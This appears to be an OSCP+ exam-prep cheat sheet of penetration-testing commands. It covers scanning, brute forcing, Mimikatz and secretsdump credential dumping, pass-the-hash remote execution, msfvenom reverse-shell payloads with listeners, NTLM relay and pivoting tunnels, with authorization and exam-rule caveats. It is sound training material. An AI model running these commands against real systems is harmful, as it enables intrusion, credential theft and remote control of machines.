10.17 Find commands for the task you are trying to complete Tool Command Reference

← Cheatsheet index | Selection matrix | getSH coverage | Strategy map

This sheet accounts for the tools listed by the reviewed getSH Tool Cheatsheet. The linked task procedures remain canonical because they include prerequisites, interpretation and failure routing.

10.17.1 Discover hosts, listeners and exposed applications Recon and scanning

10.17.1.1 Discover listeners and identify the applications behind them Nmap

nmap -Pn -sS -p- TARGET -oA full-tcp
nmap -Pn -sV -sC -p PORTS TARGET -oA services
sudo nmap -Pn -sU --top-ports 100 TARGET -oA udp-100

Direct/raw scanning baseline; connect scan -sT when raw packets are unavailable or through a TCP SOCKS route. Procedure

10.17.1.2 Generate port candidates and verify them with focused detection RustScan and Masscan

rustscan -a TARGET -r 1-65535 --ulimit 5000 -- -Pn -sV -sC -oA rustscan-followup
sudo masscan TARGET -p1-65535 --rate 500 -oL masscan.txt

Validate fast-discovery hits with Nmap; neither command covers UDP. Procedure

10.17.1.3 Find unlinked paths or inputs with controlled content discovery ffuf, Gobuster and Feroxbuster

ffuf -w WORDLIST -u http://TARGET:PORT/FUZZ -ac -o ffuf.json
gobuster dir -u http://TARGET:PORT/ -w WORDLIST -x php,txt,bak,old,zip -o gobuster.txt
feroxbuster -u http://TARGET:PORT/ -w WORDLIST -x php,txt,bak,old,zip -o ferox.txt

Calibrate against random paths; results are candidates. Web mapping

10.17.1.4 Generate web-server configuration candidates for manual validation Nikto

nikto -h http://TARGET:PORT -output nikto.txt

Manually reproduce useful candidates. Procedure

10.17.2 Investigate the access exposed by a service Service tools

10.17.2.1 Find share access, identities and host rights SMB and RPC

smbclient -L //TARGET -N
smbclient //TARGET/SHARE -U 'DOMAIN/USER'
rpcclient -U '' -N TARGET
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Null, guest and authenticated views differ. SMB procedure

10.17.2.2 Query directory objects in the accepted identity context ldapsearch

ldapsearch -x -LLL -H ldap://DC_IP:389 -s base -b '' defaultNamingContext dnsHostName
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W -b 'DC=DOMAIN,DC=TLD' '(objectClass=user)' sAMAccountName memberOf

LDAP/Kerberos procedure

10.17.2.3 Validate and use an authorized remote desktop session FreeRDP

10.17.2.3.1 xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

10.17.2.3.2 Older package name

# Older package name
xfreerdp /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

Prefer password prompting instead of retained shell history. /pth invokes Restricted Admin behavior: the target must permit it and the identity must be an administrator. Ordinary RDP instead needs an effective remote-interactive logon right. RDP procedure and lateral movement

10.17.3 Recover or validate the credential material you have Credential tools

10.17.3.1 Test bounded online password candidates with a reliable failure signal Hydra

Use only after explicit authorization, a confirmed endpoint, known usernames and lockout/rate-limit review.

hydra -l USER -P PASSWORDS -s PORT ssh://TARGET -t 4 -f
hydra -L USERS -p ONE_PASSWORD -s PORT ftp://TARGET -t 4 -f

HTTP form syntax depends on the exact request and failure marker:

hydra -l USER -P PASSWORDS TARGET http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

Capture the form with Burp/curl first. Stop on lockout/rate-limit evidence. Password spraying is not the same as brute forcing.

10.17.3.2 Recover passwords offline from format-matched verifiers Hashcat and John

hashcat -m MODE hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE hashes.txt --show
john --format=FORMAT --wordlist=wordlist.txt --rules=Jumbo hash.txt
john --show hash.txt

Credential cheatsheet

10.17.4 Find and validate local escalation candidates Local privilege-escalation tools

10.17.4.1 Collect Linux escalation candidates for manual verification LinPEAS, LSE and unix-privesc-check

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

Generate candidates, then prove the exact object, effective permission, privileged consumer, identity and trigger. LinPEAS -a is intentionally not the baseline: upstream documents longer/noisier checks including process monitoring and password attempts. LSE -l2 and unix-privesc-check detailed are later depth. Linux procedure

10.17.4.2 Observe short-lived privileged processes and their consumed inputs pspy

./pspy64
./pspy64 -pf -i 1000

Default output watches processes; -f adds filesystem events and -i 1000 scans procfs every second. An observed UID/command proves execution, not control over its inputs. Linux procedure

10.17.4.3 Understand spoofing and relay paths and their exam restrictions Responder and NTLM relay

sudo responder -I INTERFACE
impacket-ntlmrelayx -tf targets.txt -smb2support

Authorized labs only: poisoning/spoofing is prohibited by the current OSCP+ exam guide. Relay additionally requires a victim authentication event, reachable compatible target and protections/configuration that permit relay. Do not use as a default credential step.

10.17.5 Investigate domain identities, rights and access paths Active Directory tools

10.17.5.1 Investigate domain objects and rights with PowerView PowerView

Import-Module .\PowerView.ps1
Get-DomainUser
Get-DomainGroup
Get-DomainComputer
Get-DomainUser -SPN
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs

10.17.5.2 Inspect accessible credential material and logon contexts Mimikatz

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
lsadump::sam

Requires suitable local privilege/protection state. Treat output as sensitive. Credential-access procedure

10.17.5.3 Inspect and use Kerberos material in the intended logon context Rubeus

Rubeus.exe triage
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Rubeus.exe kerberoast /nowrap /outfile:kerberoast.txt
Rubeus.exe ptt /ticket:ticket.kirbi

Kerberos procedure

10.17.5.4 Validate identity and service-specific access on selected hosts NetExec / CrackMapExec

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH
nxc smb TARGET -u Administrator -H NT_HASH --local-auth
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec
nxc winrm TARGET -d DOMAIN -u USER -p 'PASSWORD'

Prefer the maintained nxc; older installations may expose crackmapexec. (Pwn3d!) is an SMB admin-context cue, not universal execution proof. Current SMB execution methods include wmiexec, atexec and smbexec; force one while diagnosing instead of hiding method-specific failure behind fallback.

10.17.5.5 Choose an Impacket operation that matches your credential and rights Impacket suite

impacket-GetNPUsers DOMAIN/ -no-pass -request -usersfile users.txt -dc-ip DC_IP -outputfile asrep.txt
impacket-GetUserSPNs -request -dc-ip DC_IP -outputfile tgs.txt 'DOMAIN/USER:PASSWORD'
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-mssqlclient 'DOMAIN/USER:PASSWORD@TARGET' -windows-auth

Kerberos cache with separate naming and routing:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

Script names may include or omit the impacket- prefix by package. Inspect -h locally. Use the SPN-matching hostname in the target string and -target-ip for routing. Current Impacket DCOMExec rejects Kerberos; use WMIExec for that context. AD procedures

10.17.5.6 Establish a remote command session through authorized WinRM access Evil-WinRM, WinRS and PowerShell remoting

evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'
evil-winrm -i TARGET_HOST -u USER -H NT_HASH
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986
evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'
Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock { hostname; whoami /all }

Needs an enabled 5985/5986 listener and endpoint authorization. Kerberos uses the target FQDN/SPN. IP-based PowerShell remoting requires explicit credentials and normally HTTPS or a tightly scoped TrustedHosts entry; do not weaken global trust to disguise a DNS/SPN error. Check which other hosts your current identity can access

10.17.5.7 Collect domain relationships and validate a useful graph path BloodHound and SharpHound

.\SharpHound.exe -c All --zipfilename sharphound.zip

bloodhound-python -u USER -p 'PASSWORD' -d DOMAIN -ns DC_IP -dc DC_HOST -c All --zip

Collection/ingestion versions must match. Validate chosen edges manually.

10.17.5.8 Investigate certificate enrollment and authentication conditions Certipy

certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled -vulnerable -stdout
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -target DC_HOST -ca CA_NAME -template TEMPLATE
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP

Some packages expose certipy instead of certipy-ad. AD CS procedure

10.17.6 Validate application weaknesses that may enable access Web exploitation tools

10.17.6.1 Understand automated SQL exploitation and its exam restriction SQLmap

# Lab/reference only; prohibited on the OSCP+ exam
sqlmap -r request.txt --batch --dbs

Preserve only as a lab/research comparator. Use manual SQL injection for exam preparation.

10.17.6.2 Investigate confirmed WordPress components and configuration WPScan

wpscan --url https://HOSTNAME/ --disable-tls-checks --enumerate vp,vt,u --plugins-detection mixed -o wpscan.txt

Verify active component/version and configuration manually. WordPress procedure

10.17.7 Establish a session or reach an internal service Payload and pivot tools

10.17.7.1 SearchSploit and exploit toolchains

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"
searchsploit -x EDB_ID
searchsploit -m EDB_ID

python3 -m py_compile exploit.py
gcc -Wall -Wextra exploit.c -o exploit
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32
file exploit exploit-x86.exe exploit-x64.exe

Audit source first; match exact prerequisites; compile for where the exploit program runs and generate payloads for the target execution context. Public exploit procedure

10.17.7.2 Match payload generation, listener and expected session behavior msfvenom, multi/handler and Netcat

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p linux/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o shell.exe
rlwrap nc -lvnp LPORT
ncat -4 -lvn 0.0.0.0 LPORT

msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j
jobs -l
sessions -l
sessions -i SESSION_ID

nc and Nmap Ncat have different option conventions. A staged name such as shell/reverse_tcp needs an exact staging handler; shell_reverse_tcp is the common stageless form. msfvenom and multi/handler have across-target exam exceptions, but Meterpreter remains one-target restricted. Shell procedure and payload diagnosis

10.17.7.3 Windows payload-control evidence

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled
Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources
Get-AppLockerPolicy -Effective -Xml
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' -MaxEvents 50
Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' -MaxEvents 50
Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' -MaxEvents 50

Separate execution policy, language mode, AMSI, application control, antimalware, permissions and architecture. Missing cmdlets/logs are inconclusive. Payload diagnosis

10.17.7.4 Validate module prerequisites and observe the current exam limits Metasploit restricted module workflow

search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
show missing
run

Auxiliary, Exploit or Post modules—or Meterpreter—lock use to one selected exam target even if check or the attempt fails. Metasploit pivoting and automatic exploitation are prohibited. Module rank is not vulnerability proof.

10.17.7.5 Reach internal TCP services through a verified SSH route SSH forwarding and ProxyChains

ssh -N -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT -p SSH_PORT USER@PIVOT -o ExitOnForwardFailure=yes
ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT -o ExitOnForwardFailure=yes
ssh -N -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT -p KALI_SSH_PORT KALI_USER@LHOST -o ExitOnForwardFailure=yes
ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST -o ExitOnForwardFailure=yes
ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/

-L/-D listen on the SSH client; -R listens on the SSH server. ProxyChains is TCP-only and cannot carry SYN/ICMP/UDP/pcap operations. Pivoting procedure

10.17.7.6 Select a fixed forward or subnet route for the required connection Socat, sshuttle and Windows relays

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork TCP:INTERNAL_HOST:INTERNAL_PORT
sudo sshuttle --dns -r SSH_USER@PIVOT:SSH_PORT INTERNAL_SUBNET

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" -l KALI_USER -pwfile C:\PATH\kali-password.txt -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT -P KALI_SSH_PORT LHOST
netsh interface portproxy add v4tov4 listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT
netsh interface portproxy show all

Socat is a clear fixed relay. sshuttle creates a selected-subnet TCP/DNS-oriented route. Netsh is elevated, persistent and TCP-only; record firewall changes and cleanup.

10.17.7.7 Establish an internal proxy or routed connection through a pivot Chisel and Ligolo-ng

chisel server --reverse --port CHISEL_PORT
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

Ligolo console:

interface_create --name ligolo
session
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo
listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp

Current Chisel socks is TCP CONNECT; udpsocks adds SOCKS5 UDP ASSOCIATE for compatible current peers/clients. This does not add UDP support to ProxyChains. Ligolo supplies routed access; agent listeners handle reverse callbacks. Pivoting procedure

10.17.7.8 Establish a controlled DNS tunnel when the transport is appropriate dnscat2

dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Conditional DNS-only route requiring client execution and authoritative delegation or direct DNS-server reachability. Validate the resolver path before the encrypted session.

10.17.7.9 Evidence capture and final report package

mkdir -p evidence/{nmap,web,loot,sessions,screenshots}
script -q -f evidence/session.txt
# Run the intended commands, then exit to close/flush the transcript.
sha256sum FILE | tee FILE.sha256

7z a OSCP-OS-XXXXX-Exam-Report.7z OSCP-OS-XXXXX-Exam-Report.pdf
7z l OSCP-OS-XXXXX-Exam-Report.7z
7z t OSCP-OS-XXXXX-Exam-Report.7z
md5sum OSCP-OS-XXXXX-Exam-Report.7z

Start-Transcript -Path .\evidence\powershell-session.txt
Get-FileHash -Algorithm SHA256 -LiteralPath '.\FILE'
Get-FileHash -Algorithm MD5 -LiteralPath '.\OSCP-OS-XXXXX-Exam-Report.7z'
Stop-Transcript

A transcript supports reproduction but is not the final narrative. Recheck the current guide, inspect every PDF page, confirm the archive contains only the correctly named PDF, compare the local/upload MD5 and complete final submission. Integrated evidence procedure

10.17.8 Sources

getSH Tool Cheatsheet, source snapshot e1f62dd
Linked upstream/project documentation in each canonical procedure
Current OSCP+ exam guide